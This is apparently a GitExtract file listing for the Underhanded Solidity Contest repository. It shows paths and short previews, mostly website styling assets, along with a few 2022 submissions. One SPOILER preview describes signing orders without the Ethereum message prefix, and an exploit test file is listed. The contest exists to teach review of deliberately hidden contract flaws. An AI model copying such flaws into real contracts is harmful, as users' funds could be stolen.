"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Proxy.sol\";\nimport \"./Address.sol\";\n\n/**\n * @dev Thi"
},
{
"path": "2022/.gitignore",
"chars": 127,
"preview": ".git\n\n### Jekyll ###\n_site/\n.sass-cache/\n.jekyll-cache/\n.jekyll-metadata\n# Ignore folders generated by Bundler\n.bundle/\n"
},
{
"path": "2022/CNAME",
"chars": 28,
"preview": "underhanded.soliditylang.org"
},
{
"path": "2022/LICENSE.txt",
"chars": 17128,
"preview": "Creative Commons Attribution 3.0 Unported\r\nhttp://creativecommons.org/licenses/by/3.0/\r\n\r\nLicense\r\n\r\nTHE WORK (AS DEFINE"
},
{
"path": "2022/README.md",
"chars": 92,
"preview": "# solidity-underhanded-contest\n\nWebsite and resources for the Underhanded Solidity Contest.\n"
},
{
"path": "2022/assets/css/main.css",
"chars": 69676,
"preview": "@import url(fontawesome-all.min.css);\n\n/*\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercia"
},
{
"path": "2022/assets/css/noscript.css",
"chars": 899,
"preview": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (htm"
},
{
"path": "2022/assets/js/main.js",
"chars": 4061,
"preview": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (htm"
},
{
"path": "2022/assets/js/util.js",
"chars": 12433,
"preview": "(function($) {\r\n\r\n\t/**\r\n\t * Generate an indented list of links from a nav. Meant for use with panel().\r\n\t * @return {jQu"
},
{
"path": "2022/assets/sass/base/_page.scss",
"chars": 988,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/base/_reset.scss",
"chars": 1570,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/base/_typography.scss",
"chars": 3436,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_actions.scss",
"chars": 1789,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_box.scss",
"chars": 532,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_button.scss",
"chars": 2084,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_contact.scss",
"chars": 312,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2022/assets/sass/components/_features.scss",
"chars": 2001,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_form.scss",
"chars": 5208,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_icon.scss",
"chars": 1210,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_icons.scss",
"chars": 423,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2022/assets/sass/components/_image.scss",
"chars": 886,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_list.scss",
"chars": 909,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_menu.scss",
"chars": 609,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2022/assets/sass/components/_row.scss",
"chars": 631,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_section.scss",
"chars": 744,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_split.scss",
"chars": 1490,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_spotlights.scss",
"chars": 2473,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_table.scss",
"chars": 1398,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/components/_wrapper.scss",
"chars": 2409,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2022/assets/sass/layout/_footer.scss",
"chars": 618,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/layout/_header.scss",
"chars": 1592,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/layout/_intro.scss",
"chars": 629,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/layout/_sidebar.scss",
"chars": 3771,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/layout/_wrapper.scss",
"chars": 522,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2022/assets/sass/libs/_breakpoints.scss",
"chars": 4577,
"preview": "// breakpoints.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Breakpoints.\n\t/// @var {list}\n\t$breakpoints: () !glo"
},
{
"path": "2022/assets/sass/libs/_functions.scss",
"chars": 1957,
"preview": "/// Removes a specific item from a list.\r\n/// @author Hugo Giraudel\r\n/// @param {list} $list List.\r\n/// @param {integer}"
},
{
"path": "2022/assets/sass/libs/_html-grid.scss",
"chars": 2840,
"preview": "// html-grid.scss v1.0 | @ajlkn | MIT licensed */\r\n\r\n// Mixins.\r\n\r\n\t/// Initializes the current element as an HTML grid."
},
{
"path": "2022/assets/sass/libs/_mixins.scss",
"chars": 2218,
"preview": "/// Makes an element's :before pseudoelement a FontAwesome icon.\r\n/// @param {string} $content Optional content value to"
},
{
"path": "2022/assets/sass/libs/_vars.scss",
"chars": 1040,
"preview": "// Misc.\r\n\t$misc: (\r\n\t\tz-index-base:\t\t10000,\r\n\t\tmax-features:\t\t20,\r\n\t\tmax-sidebar-links:\t20\r\n\t);\r\n\r\n// Duration.\r\n\t$dura"
},
{
"path": "2022/assets/sass/libs/_vendor.scss",
"chars": 7355,
"preview": "// vendor.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Vendor prefixes.\n\t/// @var {list}\n\t$vendor-prefixes: (\n\t\t"
},
{
"path": "2022/assets/sass/main.scss",
"chars": 1369,
"preview": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoin"
},
{
"path": "2022/assets/sass/noscript.scss",
"chars": 916,
"preview": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoin"
},
{
"path": "2022/index.html",
"chars": 18501,
"preview": "<!DOCTYPE HTML>\n<!--\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercial use under the CCA 3"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/.gitignore",
"chars": 32,
"preview": "/node_modules\n/artifacts\n/cache\n"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/LICENSE",
"chars": 435,
"preview": " DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE \n Version 2, December 2004 \n\n Everyone is permitt"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/README.md",
"chars": 1272,
"preview": "# ERC20 order-based exchange\n\nSimple order-based exchange for selling ERC20 tokens in exchange for ETH. Orders are store"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/SPOILER.md",
"chars": 3495,
"preview": "# Exploit\n\nOrders are signed without including the `\\x19Ethereum Signed Message:\\n` prefix. Transactions are potentially"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/contracts/Exchange.sol",
"chars": 3018,
"preview": "// SPDX-License-Identifier: WTFPL\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) exte"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/contracts/mocks/MockERC20.sol",
"chars": 255,
"preview": "// SPDX-License-Identifier: WTFPL\npragma solidity ^0.8.4;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncont"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/hardhat.config.js",
"chars": 361,
"preview": "require(\"@nomiclabs/hardhat-ethers\");\nrequire(\"@nomiclabs/hardhat-waffle\");\n\nconst { solidity } = require('ethereum-waff"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/package.json",
"chars": 428,
"preview": "{\n \"name\": \"underhanded\",\n \"version\": \"1.0.0\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"hardhat test\"\n },\n "
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/test/exploit.js",
"chars": 2000,
"preview": "const { expect } = require(\"chai\");\nconst { ethers } = require(\"hardhat\");\n\nconst BN = ethers.BigNumber;\nconst eth = (va"
},
{
"path": "2022/submissions_2022/submission10_SantiagoPalladino/test/happy.js",
"chars": 1917,
"preview": "const { expect } = require(\"chai\");\n\nconst BN = ethers.BigNumber;\nconst eth = (value) => ethers.utils.parseEther(value.t"
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/README.md",
"chars": 1716,
"preview": "# The deadly LIP! pool\n\nIn the spring of 2022, several serial scammers were unmasked in the blockchain community. In the"
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/SPOILER.md",
"chars": 1358,
"preview": "\"What do you fear the most?\" People ask this question in icebreaker / party introduction games. It has always struck me "
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/.gitignore",
"chars": 21,
"preview": "/.dapple\n/build\n/out\n"
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/LICENSE",
"chars": 35147,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/Makefile",
"chars": 277,
"preview": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-d"
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/default.nix",
"chars": 85,
"preview": "{ solidityPackage, dappsys }: solidityPackage {\n name = \"ds-test\";\n src = ./src;\n}\n"
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/demo/demo.sol",
"chars": 6857,
"preview": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is "
},
{
"path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/src/test.sol",
"chars": 14940,
"preview": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n//"
}
]
// ... and 911 more files (download for full content)
About this extraction
This page contains the full source code of the ethereum/solidity-underhanded-contest GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 1111 files (4.6 MB), approximately 1.3M tokens, and a symbol index with 15 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.